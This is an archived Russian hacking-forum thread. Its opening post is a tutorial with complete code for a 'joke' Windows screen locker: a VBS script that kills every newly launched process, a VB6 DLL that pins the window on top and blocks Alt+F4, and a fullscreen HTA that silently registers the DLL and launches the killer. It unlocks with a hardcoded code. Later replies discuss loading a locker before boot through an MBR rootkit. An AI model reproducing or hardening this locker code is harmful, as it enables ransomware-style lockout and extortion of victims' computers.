Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

VBSWinLocker. Пишем шуточный WinLocker на VBS.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> VBSWinLocker. Пишем шуточный WinLocker на VBS.
Имя
Сообщение << Старые топики   Новые топики >>
VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2011-08-23 23:22:35.993333   
dab00

Сообщений: 13
Оценки: 0
Присоединился: 2011-01-23 17:47:06.350000
В этой статье я расскажу, как написать простенький локер, что называется, на коленке.
Наш локер будет состоять из 3-х файлов:
1. VBS-скрипта для убийства процессов.
2. Библиотеки для установки позиции окна HTML-приложения поверх всех окон.
3. HTML-приложения для растяжки во весь экран.
Ready - Steady - Go

Начнем с киллера процессов.
Открываем блокнот. Я использую Notepad++.
Пишем простенький код:
Dim objWMI, colMonitoredProcesses, objLatestProcess Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2") Set colMonitoredProcesses = objWMI.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent " _ & "WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'") Do Set objLatestProcess = colMonitoredProcesses.NextEvent objLatestProcess.TargetInstance.Terminate() Loop Set objLatestProcess = Nothing Set colMonitoredProcesses = Nothing Сохраняем с расширением VBS.
Скрипт каждую секунду мониторит появление процессов и убивает свежие.
Можете попробовать запустить. Предварительно рекомендую запустить диспетчер задач, для того, чтобы благополучно убить процесс wscript.exe.
После запуска скрипта запустить дистпетчер задач не получится. Становится понятно для чего он нам нужен :).

Продолжаем. Зачем нам понадобилось писать библиотеку?
Из VBS получить дескриптор окна не реально, а он нам очень нужен для того, чтобы установить позицию окна поверх всех окон, поэтому создадим так называемый Wrapper - библиотеку, которая поможет нам использовать API-функции из скрипта.
Для получения хэндла используем функцию FindWindow из библиотеки user32.dll, для установки позиции окна поверх всех - функцию SetWindowPos, а для запрета использования клавиатурного сочетания Alt+F4 - функцию RegisterHotKey из той же библиотеки.
Открываем IDE VB6, создаем проект ActiveX DLL, называем проект WinLocker, класс - WLClass, пишем несложный код:
Option Explicit 'API-функция получения дескриптора окна Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpszClassName As String, ByVal lpszWindow As String) As Long 'API-функция установки позиции окна Private Declare Function SetWindowPos Lib "user32" _ (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _ ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 'API-функция определения горячих кнопок Private Declare Function RegisterHotKey Lib "user32" _ (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, _ ByVal vk As Long) As Long 'получаем дескриптор Public Function GetHandle(ByVal strCaption As String) As Long GetHandle = FindWindow(vbNullString, strCaption) End Function 'устанавливаем окно поверх всех Public Sub SetTop(ByVal strCaption As String) SetWindowPos FindWindow(vbNullString, strCaption), -1, 0, 0, 0, 0, 3 End Sub 'запрещаем использование Alt+F4 Public Sub DenyAltF4(ByVal strCaption As String) RegisterHotKey FindWindow(vbNullString, strCaption), 99, 1, &H73 End Sub Комплируем DLL. Библиотека готова к использованию.

Завершаем. Пишем HTA.
Открываем блокнот. Пишем код:
&lt;html&gt; &lt;head&gt; &lt;title&gt;VBSWinlocker&lt;/title&gt; &lt;HTA:APPLICATION ID="VBSWinlocker" APPLICATIONNAME="VBSWinlocker" SINGLEINSTANCE="yes" showInTaskbar ="no" BORDER="none" SCROLL="no" Version = "1.0" /&gt; &lt;style type="text/css"&gt; body{ color:#fff; font: bold sans-serif; } #center{ position: absolute; left: 42%; top: 48%; } .button{ font: bold; color:#fff; background-color:000055; } &lt;/style&gt; &lt;/head&gt; &lt;script language="VBScript"&gt; Const strDll = "WinLocker.dll" 'библиотека Const strWLProsMon = "WLProcKiller.vbs" 'киллер процессов Const strInputVal = "12345" 'код разблокировки 'процедура изменения размера главного окна при загрузке Sub Window_OnLoad() Window.MoveTo 0, 0 Window.ResizeTo screen.availWidth, screen.availHeight 'чтобы при любом раскладе загрузился интерфейс Window.setTimeout "SetTopPos",1, "vbscript" End Sub Sub SetTopPos() Set wshShell = CreateObject("WScript.Shell") 'пытаемся зарегистрировать библиотеку ret = wshShell.Run("regsvr32.exe /i /s " & strDll & ",0,True") 'проверяем успех регистрации If ret &lt;&gt; 0 Then 'если не удалось зарегистрировать wshShell.PopUp ,1,"Не удалось зарегистрировать библиотеку " & strDll ,16 Set wshShell = Nothing Window.Close End If 'запускаем киллера процессов ret = wshShell.Run("wscript.exe " & strWLProsMon) 'проверяем успех запуска киллера If ret &lt;&gt; 0 Then 'если не удалось запустить скрипт мониторинга wshShell.PopUp ,1,"Не удалось запустить " & strWLProsMon,16 Set wshShell = Nothing Window.Close End If Set wshShell = Nothing 'создаем экземпляр класса из либы = strDll Set objDASetTop = CreateObject("WinLocker.WLClass") 'делаем окно поверх всех окон objDASetTop.SetTop document.title 'запрещаем нажатие Alt+F4 objDASetTop.DenyAltF4 document.title 'удаляем ссылку Set objDASetTop = Nothing End Sub 'останавливаем киллера процессов Sub StopMon() Dim objWMI, colProcess, objProcess Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2") 'ищем процесс мониторинга Set colProcess = objWMI.ExecQuery("Select * from Win32_Process Where Name ='wscript.exe' And CommandLine Like '%" & _ strWLProsMon & "%'") For Each objProcess in colProcess 'побежали по полученным процессам objProcess.Terminate 'убиваем процесс Next Set objWMI = Nothing End Sub 'проверка значения Sub CheckInputVal() If txtPW.Value = strInputVal Then StopMon 'останавливаем мониторинг процессов Window.Close 'закрываем приложение End If End Sub &lt;/script&gt; &lt;!-- Подключаем таблицы стилей --&gt; &lt;!-- &lt;link href="usbmaster.css" rel="stylesheet" type="text/css" media="screen" /&gt; --&gt; &lt;!-- Рисуем нарядную градиентную заливку :) --&gt; &lt;body STYLE="filter:progid:DXImageTransform.Microsoft.Gradient (GradientType=1, StartColorStr='#000066', EndColorStr='#0000FF')"&gt; &lt;div id="center"&gt; &lt;input type="password" id="txtPW"&gt; &lt;input type="button" class="button" value="ввод" onclick="CheckInputVal"&gt; &lt;br/&gt; Код: 12345 &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; Не трудно догадаться, что:
SINGLEINSTANCE="yes" - запрещает одновременный запуск одноименных HTA
showInTaskbar="no" - запрещает отображение приложения в панели задач
BORDER="none" - убирает границу окна приложения
SCROLL="no" - убирает скролл

Сохраняем файл с расширением HTA.

Наш локер готов. Что получилось можно скачать здесь.

PS: Не пытайтесь "допиливать" полученый код с целью противозаконного использования :).
Post #: 1
RE: VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2012-04-09 11:12:02.553333   
twist1

Сообщений: 134
Оценки: 0
Присоединился: 2012-03-26 17:24:52.993333
Респект. dab00, скажи, куда нужно вшить винлокер чтобы он грузился сразу при включении компа? еще до проверки машины. и до окна с которого можно зайти в bios. Недавно деда своего :D избавлял от винлокера, так у него вот такая тема была. активировался сразу при включении.
Post #: 2
RE: VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2012-04-13 01:55:37.713333   
yurket

Сообщений: 69
Оценки: 0
Присоединился: 2009-05-04 23:47:54.993333
ну если до биоса, то тебе явно в cmos писать надо… там правда байт 128 наверное, и большую часть из них явно не стоит перетирать =)
Post #: 3
RE: VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2012-04-13 07:16:35.010000   
twist1

Сообщений: 134
Оценки: 0
Присоединился: 2012-03-26 17:24:52.993333
А как это делается? yurket, я знаю о существовании гугла) мне хочется получить инфу, актуальную на сегодняшний день, а не за какой-нибудь 2008 год и для ХР)) Можешь накидать алгоритм действий?
ps: у меня семёрка.
Post #: 4
RE: VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2012-04-13 14:02:20.976666   
yurket

Сообщений: 69
Оценки: 0
Присоединился: 2009-05-04 23:47:54.993333
это я так шутки шучу, намекая, что грузить винлок до биоса слегка проблематично будет)) даже с определенной вероятностью можно утверждать, что невозможно) а если у деда что-то грузилось до винды, то это уже руткит полноценный, заражающий mbr или vbr. Но я не видел ни одного руткита, который бы вел себя как винлок =)
а по теме, все уже писалось http://www.xakep.ru/post/53562/
Post #: 5
RE: VBSWinLocker. Пишем шуточный WinLocker на VBS. - 2012-04-13 21:42:23.586666   
twist1

Сообщений: 134
Оценки: 0
Присоединился: 2012-03-26 17:24:52.993333
Спс за инфу) статья дельная.
Post #: 6
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> VBSWinLocker. Пишем шуточный WinLocker на VBS.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.